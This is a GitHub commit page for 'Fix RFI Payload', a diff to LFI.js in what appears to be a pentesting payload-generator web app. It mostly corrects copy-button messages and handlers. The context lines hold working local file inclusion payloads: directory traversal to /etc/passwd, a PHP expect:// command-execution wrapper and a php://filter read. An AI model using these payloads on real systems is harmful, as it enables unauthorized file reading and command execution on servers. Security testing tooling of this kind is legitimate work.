Skip to content

Commit

Permalink
Fix RFI Payload
Browse files Browse the repository at this point in the history
  • Loading branch information
LasCC committed May 28, 2021
1 parent 655f178 commit 5198ef3
Showing 1 changed file with 7 additions and 4 deletions.
11 changes: 7 additions & 4 deletions src/components/web/LFI.js
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,13 @@ const { Title, Paragraph } = Typography;

export default (props) => {
const successInfoReverseShell = () => {
message.success('Your LFI payload has been copied');
message.success('Your payload has been copied');
};

const successInfoEncodeURL = () => {
message.success('Your LFI payload URL encoded has been copied');
message.success('Your payload URL encoded has been copied');
};

const directoryTraversal = `foo.php?file=../../../../../../../etc/passwd`;
const phpWrapperLfi = `/example1.php?page=expect://ls`;
const phpWrapperFilter = `/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd`;
Expand Down Expand Up @@ -64,6 +66,7 @@ export default (props) => {
{ title: '/windows/system32/license.rtf' },
{ title: '/windows/system32/eula.txt' }
];

return (
<QueueAnim delay={300} duration={1500}>
<Title variant='Title level={3}' style={{ fontWeight: 'bold', margin: 15 }}>
Expand Down Expand Up @@ -180,7 +183,7 @@ export default (props) => {
<Clipboard component='a' data-clipboard-text={phpRfi}>
<Button
type='primary'
onClick={message.success('Your RFI payload has been copied')}
onClick={successInfoReverseShell}
style={{ marginBottom: 10, marginTop: 15 }}
>
<CopyOutlined />
Expand All @@ -190,7 +193,7 @@ export default (props) => {
<Clipboard component='a' data-clipboard-text={encodeURI(phpRfi)}>
<Button
type='dashed'
onClick={message.success('Your RFI payload URL encoded has been copied')}
onClick={successInfoEncodeURL}
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
>
<LinkOutlined /> URL encoded
Expand Down

0 comments on commit 5198ef3

Please sign in to comment.